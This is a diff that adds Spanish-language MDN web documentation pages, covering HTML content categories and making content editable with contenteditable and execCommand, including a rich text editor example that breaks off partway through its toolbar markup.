+ <li><a href="/en-US/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">Manipulating video using canvas</a></li>
+ <li><a href="https://codepo8.github.io/canvas-images-and-pixels/">Canvas, images and pixels – by Christian Heilmann</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Advanced_animations", "Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility")}}</p>
diff --git a/files/es/web/guide/html/categorias_de_contenido/index.html b/files/es/web/guide/html/categorias_de_contenido/index.html
new file mode 100644
index 0000000000..b9c4fb6061
--- /dev/null
+++ b/files/es/web/guide/html/categorias_de_contenido/index.html
@@ -0,0 +1,175 @@
+---
+title: Categorías de contenido
+slug: Web/Guide/HTML/categorias_de_contenido
+tags:
+  - Avanzado
+  - Guía
+  - HTML
+  - HTML5
+  - Web
+translation_of: Web/Guide/HTML/Content_categories
+---
+<p><span class="seoSummary">Cada elemento {{web.link("/es/docs/Web/HTML", "HTML")}} es miembro de una o más <strong>categorías de contenido</strong> — estas categorías agrupan elementos que comparten características comunes.</span> Esta es una agrupación flexible (en realidad no crea una relación entre los elementos de estas categorías), pero ayuda a definir y describir el comportamiento compartido de las categorías y sus reglas asociadas, especialmente cuando te encuentras con sus intrincados detalles. También es posible que los elementos no sean miembros de <em>ninguna</em> de estas categorías.</p>
+
+<p>Hay tres tipos de categorías de contenido:</p>
+
+<ul>
+ <li>Categoría de contenido principal — que describe reglas comunes compartidas por muchos elementos.</li>
+ <li>Categorías de contenido relacionado con formularios — que describe reglas comunes a los elementos relacionados con formularios.</li>
+ <li>Categorías de contenido específico — que describe categorías raras compartidas solo por unos pocos elementos, a veces, solo en un contexto específico.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Una explicación comparativa más detallada de estas categorías de contenido y su funcionalidad está más allá del alcance de este artículo; para eso, posiblemente desees leer las <a href="https://html.spec.whatwg.org/multipage/dom.html#kinds-of-content">partes relevantes de la especificación HTML</a>.</p>
+</div>
+
+<p><a href="/@api/deki/files/6244/=Content_categories_venn.png"><img alt="Un diagrama de Venn que muestra cómo se interrelacionan las distintas categorías de contenido. Las siguientes secciones explican estas relaciones en texto." class="default internal" src="/@api/deki/files/6244/=Content_categories_venn.png?size=webview" style="height: 200px; width: 350px;"></a></p>
+
+<h2 id="Categorías_de_contenido_principal">Categorías de contenido principal</h2>
+
+<h3 id="Contenido_de_metadatos">Contenido de metadatos</h3>
+
+<p>Los elementos pertenecientes a la categoría <em>contenido de metadatos</em> modifican la presentación o el comportamiento del resto del documento, establecen enlaces a otros documentos o transmiten otra información <em>fuera de banda</em>.</p>
+
+<p>Los elementos que pertenecen a esta categoría son {{HTMLElement("base")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("link")}}, {{HTMLElement("meta")}}, {{HTMLElement("noscript")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} y {{HTMLElement("title")}}.</p>
+
+<h3 id="Flujo_de_contenido">Flujo de contenido</h3>
+
+<p>Los elementos que pertenecen a la categoría de flujo de contenido suelen contener texto o contenido incrustado. Son: {{HTMLElement("a")}}, {{HTMLElement("abbr")}}, {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}},{{HTMLElement("bdo")}}, {{HTMLElement("bdi")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("del")}}, {{HTMLElement("details")}}, {{HTMLElement("dfn")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("hr")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("ins")}}, {{HTMLElement("kbd")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("main")}}, {{HTMLElement("map")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("menu")}}, {{HTMLElement("meter")}}, {{HTMLElement("nav")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("ol")}}, {{HTMLElement("output")}}, {{HTMLElement("p")}}, {{HTMLElement("picture")}}, {{HTMLElement("pre")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("s")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("section")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("table")}}, {{HTMLElement("template")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("ul")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} and Text.</p>
+
+<p>Algunos otros elementos pertenecen a esta categoría, pero solo si se cumple una condición específica:</p>
+
+<ul>
+ <li>{{HTMLElement("area")}}, si es descendiente de un elemento {{HTMLElement("map")}}</li>
+ <li>{{HTMLElement("link")}}, si está presente el atributo {{web.link("/es/docs/HTML/Global_attributes#attr-itemprop", "itemprop")}}</li>
+ <li>{{HTMLElement("meta")}}, si está presente el atributo {{web.link("/es/docs/HTML/Global_attributes#attr-itemprop", "itemprop")}}</li>
+ <li>{{HTMLElement("style")}}, si está presente el atributo {{deprecated_inline()}} {{HTMLAttrxRef("scoped", "style")}}</li>
+</ul>
+
+<h3 id="Contenido_de_sección">Contenido de sección</h3>
+
+<p>Los elementos que pertenecen al modelo de contenido de secciones crean una {{web.link("/es/docs/Sections_and_Outlines_of_an_HTML5_document", "sección en el esquema actual")}} que define el alcance de los elementos {{HTMLElement("header")}}, {{HTMLElement("footer")}} y {{anch("Contenido del encabezado")}}.</p>
+
+<p>Los elementos que pertenecen a esta categoría son {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("nav")}} y {{HTMLElement("section")}}.</p>
+
+<div class="note">
+<p>No confundas este modelo de contenido con la categoría de {{web.link("/es/docs/Web/Guide/HTML/Using_HTML_sections_and_outlines#Sectioning_roots", "seccionado raíz")}}, que aísla su contenido del esquema regular.</p>
+</div>
+
+<h3 id="Contenido_del_encabezado">Contenido del encabezado</h3>
+
+<p>El contenido del encabezado define el título de una sección, ya sea que esté marcado por un elemento {{anch("Contenido de sección")}} explícito o definido implícitamente por el contenido del encabezado en sí mismo.</p>
+
+<p>Los elementos que pertenecen a esta categoría son {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}} y {{HTMLElement("hgroup")}}.</p>
+
+<div class="note">
+<p>Aunque es probable que tenga contenido de encabezado, {{HTMLElement("header")}} no es contenido de encabezado en sí mismo.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: El elemento {{HTMLElement("hgroup")}} se eliminó de la especificación HTML del W3C antes de que se finalizara HTML 5, pero sigue siendo parte de la especificación WHATWG y la mayoría de los navegadores lo admiten por lo menos parcialmente.</p>
+</div>
+
+<h3 id="Contenido_de_redacción">Contenido de redacción</h3>
+
+<p>El contenido de redacción define el texto y el marcado que contiene. Las series de contenido de redacción forman párrafos.</p>
+
+<p>Los elementos que pertenecen a esta categoría son: {{HTMLElement("abbr")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("dfn")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("kbd")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("meter")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("picture")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} y texto sin formato (no solo consiste de espacios en blanco).</p>
+
+<p>Algunos otros elementos pertenecen a esta categoría, pero solo si se cumple una condición específica:</p>
+
+<ul>
+ <li>{{HTMLElement("a")}}, si solo incluye contenido de redacción</li>
+ <li>{{HTMLElement("area")}}, si es descendiente de un elemento {{HTMLElement("map")}}</li>
+ <li>{{HTMLElement("del")}}, si solo incluye contenido de redacción</li>
+ <li>{{HTMLElement("ins")}}, si solo incluye contenido de redacción</li>
+ <li>{{HTMLElement("link")}}, si está presente el atributo {{web.link("/es/docs/HTML/Global_attributes#itemprop", "itemprop")}}</li>
+ <li>{{HTMLElement("map")}}, si solo incluye contenido de redacción</li>
+ <li>{{HTMLElement("meta")}}, si está presente el atributo {{web.link("/es/docs/HTML/Global_attributes#itemprop", "itemprop")}}</li>
+</ul>
+
+<h3 id="Contenido_incrustado">Contenido incrustado</h3>
+
+<p>El contenido incrustado importa otro recurso o inserta contenido de otro lenguaje de marcado o espacio de nombres en el documento. Los elementos que pertenecen a esta categoría incluyen: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{HTMLElement("picture")}}, {{SVGElement("svg")}} y {{HTMLElement("video")}}.</p>
+
+<h3 id="Contenido_interactivo">Contenido interactivo</h3>
+
+<p>El contenido interactivo incluye elementos diseñados específicamente para la interacción del usuario. Los elementos que pertenecen a esta categoría incluyen: {{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}} y {{HTMLElement("textarea")}}.<br>
+ Algunos elementos pertenecen a esta categoría solo bajo condiciones específicas:</p>
+
+<ul>
+ <li>{{HTMLElement("audio")}}, si está presente el atributo {{HTMLAttrxRef("controls", "audio")}}</li>
+ <li>{{HTMLElement("img")}}, si está presente el atributo {{HTMLAttrxRef("usemap", "img")}}</li>
+ <li>{{HTMLElement("input")}}, si el atributo {{HTMLAttrxRef("type", "input")}} no está en estado oculto</li>
+ <li>{{HTMLElement("menu")}}, si el atributo {{HTMLAttrxRef("type", "menu")}} está en la barra de estado de herramientas</li>
+ <li>{{HTMLElement("object")}}, si está presente el atributo {{HTMLAttrxRef("usemap", "object")}}</li>
+ <li>{{HTMLElement("video")}}, si está presente el atributo {{HTMLAttrxRef("controls", "video")}}</li>
+</ul>
+
+<h3 id="Contenido_palpable">Contenido palpable</h3>
+
+<p>El contenido es palpable cuando no está vacío ni oculto; es contenido que se presenta y es sustantivo. Los elementos cuyo modelo es flujo de contenido o contenido de redacción deben tener, por lo menos, un nodo que sea palpable.</p>
+
+<h3 id="Contenido_asociado_a_formulario">Contenido asociado a formulario</h3>
+
+<p>El contenido asociado a un formulario comprende elementos que tienen un formulario de propietario, expuesto mediante un atributo <strong>form</strong>. El propietario de un formulario es el elemento {{HTMLElement("form")}} que lo contiene o el elemento cuya identificación se especifica en el atributo <strong>form</strong>.</p>
+
+<ul>
+ <li>{{HTMLElement("button")}}</li>
+ <li>{{HTMLElement("fieldset")}}</li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{deprecated_inline()}} {{HTMLElement("keygen")}}</li>
+ <li>{{HTMLElement("label")}}</li>
+ <li>{{HTMLElement("meter")}}</li>
+ <li>{{HTMLElement("object")}}</li>
+ <li>{{HTMLElement("output")}}</li>
+ <li>{{HTMLElement("progress")}}</li>
+ <li>{{HTMLElement("select")}}</li>
+ <li>{{HTMLElement("textarea")}}</li>
+</ul>
+
+<p>Esta categoría contiene varias subcategorías:</p>
+
+<dl>
+ <dt id="Enumerado_en_formulario">enumerado</dt>
+ <dd>Elementos que se enumeran en las colecciones IDL {{DOMxRef("HTMLFormElement.elements", "form.elements")}} y <code>fieldset.elements</code>. Contiene: {{HTMLElement("button")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{deprecated_inline()}} {{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}} y {{HTMLElement("textarea")}}.</dd>
+ <dt id="Etiquetable_en_formulario">etiquetable</dt>
+ <dd>Elementos que se pueden asociar con elementos {{HTMLElement("label")}}. Contiene {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("meter")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}} y {{HTMLElement("textarea")}}.</dd>
+ <dt id="transmisible_de_formulario">transmisible</dt>
+ <dd>Elementos que se pueden utilizar para construir el conjunto de datos del formulario cuando se envía el formulario. Contiene {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}} y {{HTMLElement("textarea")}}.</dd>
+ <dt id="Reiniciable_de_forumalior">reiniciable</dt>
+ <dd>Elementos que se pueden ver afectados cuando se restablece o reinicia un formulario. Contiene {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("output")}},{{HTMLElement("select")}} y {{HTMLElement("textarea")}}.</dd>
+</dl>
+
+<h2 id="Categorías_secundarias">Categorías secundarias</h2>
+
+<p>Hay algunas clasificaciones secundarias de elementos que también puede ser útil tener en cuenta.</p>
+
+<h3 id="Elementos_de_soporte_de_scripts">Elementos de soporte de scripts</h3>
+
+<p>Los <strong>elementos de soporte de scripts</strong> son elementos que no contribuyen directamente a la salida renderizada de un documento. En cambio, sirven para admitir scripts, ya sea conteniendo o especificando directamente el código del script, o especificando datos que serán utilizados por los scripts.</p>
+
+<p>Los elementos que admiten scripts son:</p>
+
+<ul>
+ <li>{{HTMLElement("script")}}</li>
+ <li>{{HTMLElement("template")}}</li>
+</ul>
+
+<h2 id="Modelo_de_contenido_transparente">Modelo de contenido transparente</h2>
+
+<p>Si un elemento tiene un modelo de contenido transparente, entonces su contenido debe estar estructurado de manera que sea HTML 5 válido, incluso si el elemento transparente fuera eliminado y reemplazado por elementos secundarios.</p>
+
+<p>Por ejemplo, los elementos {{HTMLElement("del")}} y {{HTMLElement("ins")}} son transparentes:</p>
+
+<pre class="notranslate">&lt;p&gt;Sostenemos que estas verdades son &lt;del&gt;&lt;em&gt;sagradas e innegablemente&lt;/em&gt;&lt;/del&gt; &lt;ins&gt;evidentes por sí mismas&lt;/ins&gt;.&lt;/p&gt;
+</pre>
+
+<p>Si esos elementos fueran eliminados, este fragmento seguiría siendo HTML válido (si no es Español correcto).</p>
+
+<pre class="notranslate">&lt;p&gt;Sostenemos que estas verdades son &lt;del&gt;&lt;em&gt;sagradas e innegablemente&lt;/em&gt;&lt;/del&gt; &lt;ins&gt;evidentes por sí mismas&lt;/ins&gt;.&lt;/p&gt;
+</pre>
+
+<h2 id="Otros_modelos_de_contenido">Otros modelos de contenido</h2>
+
+<p>Seccionado raíz.</p>
diff --git a/files/es/web/guide/html/editable_content/index.html b/files/es/web/guide/html/editable_content/index.html
new file mode 100644
index 0000000000..c8818aa7ae
--- /dev/null
+++ b/files/es/web/guide/html/editable_content/index.html
@@ -0,0 +1,226 @@
+---
+title: Making content editable
+slug: Web/Guide/HTML/Editable_content
+tags:
+  - Avanzado
+  - Ejemplo
+  - Entrada de texto
+  - Guía
+  - HTML
+  - HTML5
+  - Texto
+  - Web
+  - contentediatable
+translation_of: Web/Guide/HTML/Editable_content
+---
+<p><span class="seoSummary">En HTML, cualquier elemento puede ser editable. Con el uso de algunos manejadores de eventos de JavaScript, puedes transformar tu página web en un completo y rápido editor de texto. Este artículo brinda información sobre esta funcionalidad.</span></p>
+
+<h2 id="¿Cómo_funciona">¿Cómo funciona?</h2>
+
+<p>Todo lo que debes hacer es definir el atributo {{htmlattrxref("contenteditable")}} en cualquier elemento HTML que quieras hacer editable.</p>
+
+<p>Este es un ejemplo simple con el cual puedes crear elementos {{HTMLElement("div")}} cuyo contenido pueda ser editado por el usuario.</p>
+
+<pre class="brush: html">&lt;div contenteditable="true"&gt;
+  This text can be edited by the user.
+&lt;/div&gt;</pre>
+
+<p>Aquí esta el HTML anterion en acción:</p>
+
+<p>{{ EmbedLiveSample('How_does_it_work') }}</p>
+
+<h2 id="Ejecutando_Comandos">Ejecutando Comandos</h2>
+
+<p>Cuando un elemento HTML tiene el parametro <code>contenteditable</code> en <code>true</code>, se hace disponible el método {{ domxref("document.execCommand") }}. Esto te permite ejecutar <a href="/en-US/docs/Web/API/document.execCommand#Commands">comandos</a> para manipular el contenido de una region editable. La mayoria de estos comandos afectan a la selección del documento (bold, italics, etc), mientras que otros insertan nuevos elementos (como añadiendo un link) o afectan a una linea entera (indenting). Cuando usas <code>contentEditable</code>, estás llamando a <code>execCommand</code> que afectará al elemento editable activo.</p>
+
+<h2 id="Differences_in_markup_generation">Differences in markup generation</h2>
+
+<p>El uso de <code>contenteditable</code> en diferentes navegadores ha sido laborioso durante mucho tiempo debido a las diferencias en las marcas generadas por los diferentes navegadores. Por ejemplo, incluso algo tan simple como qué pasa cuando pulsas Enter/Return para crear una nueva línea de texto dentro de un elemento editable era manejado de forma diferente por los  navegadores más utilizados (Firefox insertaba {{htmlelement("br")}} elements, IE/Opera usaba {{htmlelement("p")}}, Chrome/Safari usaba {{htmlelement("div")}}).</p>
+
+<p>Afortunadamente, en los navegadores modernos las cosas son un poco más consistentes. A partir de <a href="/en-US/docs/Mozilla/Firefox/Releases/55">Firefox 55</a>, Firefox ha sido actualizado para envolver las líneas separadas en elementos {{htmlelement("div")}}, igualando el comportamiento de Chrome, el moderno Opera, Edge, y Safari.</p>
+
+<p>Pruebalo en el ejemplo de abajo.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Internet Explorer ya no se está desarrollando y usa {{htmlelement("p")}}.</p>
+</div>
+
+<p>Si quieres utilizar un separador de párrafo diferente, todos los navegadores arriba mencionados soportan {{domxref("document.execCommand")}}, el cual provee un  DefaultParagraphSeparator comando que te premite cambiarlo. Por ejemplo, para usar {{htmlelement("p")}} elements:</p>
+
+<pre class="language-js"><code class="language-js">document<span class="punctuation token">.</span><span class="function token">execCommand</span><span class="punctuation token">(</span><span class="string token">"DefaultParagraphSeparator"</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">,</span> <span class="string token">"p"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Seguridad">Seguridad</h2>
+
+<p>Por razones de seguridad, Firefox no permite al código JavaScript utilizar las características relacionadas con el portapapeles (copiar, pegar, etc.) por defecto. Puedes permitirlo estableciendo las preferencias mostradas abajo usando using <code>about:config</code>:</p>
+
+<pre class="code">user_pref("capability.policy.policynames", "allowclipboard");
+user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org");
+user_pref("capability.policy.allowclipboard.Clipboard.cutcopy", "allAccess");
+user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");</pre>
+
+<h2 id="Ejemplo_un_simple_pero_completo_editor_de_texto_enriquecido">Ejemplo: un simple pero completo editor de texto enriquecido</h2>
+
+<div style="height: 500px; width: auto; overflow: auto;">
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Rich Text Editor&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+var oDoc, sDefTxt;
+
+function initDoc() {
+  oDoc = document.getElementById("textBox");
+  sDefTxt = oDoc.innerHTML;
+  if (document.compForm.switchMode.checked) { setDocMode(true); }
+}
+
+function formatDoc(sCmd, sValue) {
+  if (validateMode()) { document.execCommand(sCmd, false, sValue); oDoc.focus(); }
+}
+
+function validateMode() {
+  if (!document.compForm.switchMode.checked) { return true ; }
+  alert("Uncheck \"Show HTML\".");
+  oDoc.focus();
+  return false;
+}
+
+function setDocMode(bToSource) {
+  var oContent;
+  if (bToSource) {
+    oContent = document.createTextNode(oDoc.innerHTML);
+    oDoc.innerHTML = "";
+    var oPre = document.createElement("pre");
+    oDoc.contentEditable = false;
+    oPre.id = "sourceText";
+    oPre.contentEditable = true;
+    oPre.appendChild(oContent);
+    oDoc.appendChild(oPre);
+  } else {
+    if (document.all) {
+      oDoc.innerHTML = oDoc.innerText;
+    } else {
+      oContent = document.createRange();
+      oContent.selectNodeContents(oDoc.firstChild);
+      oDoc.innerHTML = oContent.toString();
+    }
+    oDoc.contentEditable = true;
+  }
+  oDoc.focus();
+}
+
+function printDoc() {
+  if (!validateMode()) { return; }
+  var oPrntWin = window.open("","_blank","width=450,height=470,left=400,top=100,menubar=yes,toolbar=no,location=no,scrollbars=yes");
+  oPrntWin.document.open();
+  oPrntWin.document.write("&lt;!doctype html&gt;&lt;html&gt;&lt;head&gt;&lt;title&gt;Print&lt;\/title&gt;&lt;\/head&gt;&lt;body onload=\"print();\"&gt;" + oDoc.innerHTML + "&lt;\/body&gt;&lt;\/html&gt;");
+  oPrntWin.document.close();
+}
+&lt;/script&gt;
+&lt;style type="text/css"&gt;
+.intLink { cursor: pointer; }
+img.intLink { border: 0; }
+#toolBar1 select { font-size:10px; }
+#textBox {
+  width: 540px;
+  height: 200px;
+  border: 1px #000000 solid;
+  padding: 12px;
+  overflow: scroll;
+}
+#textBox #sourceText {
+  padding: 0;
+  margin: 0;
+  min-width: 498px;
+  min-height: 200px;
+}
+#editMode label { cursor: pointer; }
+&lt;/style&gt;
+&lt;/head&gt;
+&lt;body onload="initDoc();"&gt;
+&lt;form name="compForm" method="post" action="sample.php" onsubmit="if(validateMode()){this.myDoc.value=oDoc.innerHTML;return true;}return false;"&gt;
+&lt;input type="hidden" name="myDoc"&gt;
+&lt;div id="toolBar1"&gt;
+&lt;select onchange="formatDoc('formatblock',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option selected&gt;- formatting -&lt;/option&gt;
+&lt;option value="h1"&gt;Title 1 &amp;lt;h1&amp;gt;&lt;/option&gt;
+&lt;option value="h2"&gt;Title 2 &amp;lt;h2&amp;gt;&lt;/option&gt;
+&lt;option value="h3"&gt;Title 3 &amp;lt;h3&amp;gt;&lt;/option&gt;
+&lt;option value="h4"&gt;Title 4 &amp;lt;h4&amp;gt;&lt;/option&gt;
+&lt;option value="h5"&gt;Title 5 &amp;lt;h5&amp;gt;&lt;/option&gt;
+&lt;option value="h6"&gt;Subtitle &amp;lt;h6&amp;gt;&lt;/option&gt;
+&lt;option value="p"&gt;Paragraph &amp;lt;p&amp;gt;&lt;/option&gt;
+&lt;option value="pre"&gt;Preformatted &amp;lt;pre&amp;gt;&lt;/option&gt;
+&lt;/select&gt;
+&lt;select onchange="formatDoc('fontname',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option class="heading" selected&gt;- font -&lt;/option&gt;
+&lt;option&gt;Arial&lt;/option&gt;
+&lt;option&gt;Arial Black&lt;/option&gt;
+&lt;option&gt;Courier New&lt;/option&gt;
+&lt;option&gt;Times New Roman&lt;/option&gt;
+&lt;/select&gt;
+&lt;select onchange="formatDoc('fontsize',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option class="heading" selected&gt;- size -&lt;/option&gt;
+&lt;option value="1"&gt;Very small&lt;/option&gt;
+&lt;option value="2"&gt;A bit small&lt;/option&gt;
+&lt;option value="3"&gt;Normal&lt;/option&gt;
+&lt;option value="4"&gt;Medium-large&lt;/option&gt;
+&lt;option value="5"&gt;Big&lt;/option&gt;
+&lt;option value="6"&gt;Very big&lt;/option&gt;
+&lt;option value="7"&gt;Maximum&lt;/option&gt;
+&lt;/select&gt;
+&lt;select onchange="formatDoc('forecolor',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option class="heading" selected&gt;- color -&lt;/option&gt;
+&lt;option value="red"&gt;Red&lt;/option&gt;
+&lt;option value="blue"&gt;Blue&lt;/option&gt;
+&lt;option value="green"&gt;Green&lt;/option&gt;
+&lt;option value="black"&gt;Black&lt;/option&gt;
+&lt;/select&gt;
+&lt;select onchange="formatDoc('backcolor',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option class="heading" selected&gt;- background -&lt;/option&gt;
+&lt;option value="red"&gt;Red&lt;/option&gt;
+&lt;option value="green"&gt;Green&lt;/option&gt;
+&lt;option value="black"&gt;Black&lt;/option&gt;
+&lt;/select&gt;
+&lt;/div&gt;
+&lt;div id="toolBar2"&gt;
+&lt;img class="intLink" title="Clean" onclick="if(validateMode()&amp;&amp;confirm('Are you sure?')){oDoc.innerHTML=sDefTxt};" src="data:image/gif;base64,R0lGODlhFgAWAIQbAD04KTRLYzFRjlldZl9vj1dusY14WYODhpWIbbSVFY6O7IOXw5qbms+wUbCztca0ccS4kdDQjdTLtMrL1O3YitHa7OPcsd/f4PfvrvDv8Pv5xv///////////////////yH5BAEKAB8ALAAAAAAWABYAAAV84CeOZGmeaKqubMteyzK547QoBcFWTm/jgsHq4rhMLoxFIehQQSAWR+Z4IAyaJ0kEgtFoLIzLwRE4oCQWrxoTOTAIhMCZ0tVgMBQKZHAYyFEWEV14eQ8IflhnEHmFDQkAiSkQCI2PDC4QBg+OAJc0ewadNCOgo6anqKkoIQA7" /&gt;
+&lt;img class="intLink" title="Print" onclick="printDoc();" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oEBxcZFmGboiwAAAAIdEVYdENvbW1lbnQA9syWvwAAAuFJREFUOMvtlUtsjFEUx//n3nn0YdpBh1abRpt4LFqtqkc3jRKkNEIsiIRIBBEhJJpKlIVo4m1RRMKKjQiRMJRUqUdKPT71qpIpiRKPaqdF55tv5vvusZjQTjOlseUkd3Xu/3dPzusC/22wtu2wRn+jG5So/OCDh8ycMJDflehMlkJkVK7KUYN+ufzA/RttH76zaVocDptRxzQtNi3mRWuPc+6cKtlXZ/sddP2uu9uXlmYXZ6Qm8v4Tz8lhF1H+zDQXt7S8oLMXtbF4e8QaFHjj3kbP2MzkktHpiTjp9VH6iHiA+whtAsX5brpwueMGdONdf/2A4M7ukDs1JW662+XkqTkeUoqjKtOjm2h53YFL15pSJ04Zc94wdtibr26fXlC2mzRvBccEbz2kiRFD414tKMlEZbVGT33+qCoHgha81SWYsew0r1uzfNylmtpx80pngQQ91LwVk2JGvGnfvZG6YcYRAT16GFtW5kKKfo1EQLtfh5Q2etT0BIWF+aitq4fDbk+ImYo1OxvGF03waFJQvBCkvDffRyEtxQiFFYgAZTHS0zwAGD7fG5TNnYNTp8/FzvGwJOfmgG7GOx0SAKKgQgDMgKBI0NJGMEImpGDk5+WACEwEd0ywblhGUZ4Hw5OdUekRBLT7DTgdEgxACsIznx8zpmWh7k4rkpJcuHDxCul6MDsmmBXDlWCH2+XozSgBnzsNCEE4euYV4pwCpsWYPW0UHDYBKSWu1NYjENDReqtKjwn2+zvtTc1vMSTB/mvev/WEYSlASsLimcOhOBJxw+N3aP/SjefNL5GePZmpu4kG7OPr1+tOfPyUu3BecWYKcwQcDFmwFKAUo90fhKDInBCAmvqnyMgqUEagQwCoHBDc1rjv9pIlD8IbVkz6qYViIBQGTJPx4k0XpIgEZoRN1Da0cij4VfR0ta3WvBXH/rjdCufv6R2zPgPH/e4pxSBCpeatqPrjNiso203/5s/zA171Mv8+w1LOAAAAAElFTkSuQmCC"&gt;
+&lt;img class="intLink" title="Undo" onclick="formatDoc('undo');" src="data:image/gif;base64,R0lGODlhFgAWAOMKADljwliE33mOrpGjuYKl8aezxqPD+7/I19DV3NHa7P///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARR8MlJq7046807TkaYeJJBnES4EeUJvIGapWYAC0CsocQ7SDlWJkAkCA6ToMYWIARGQF3mRQVIEjkkSVLIbSfEwhdRIH4fh/DZMICe3/C4nBQBADs=" /&gt;
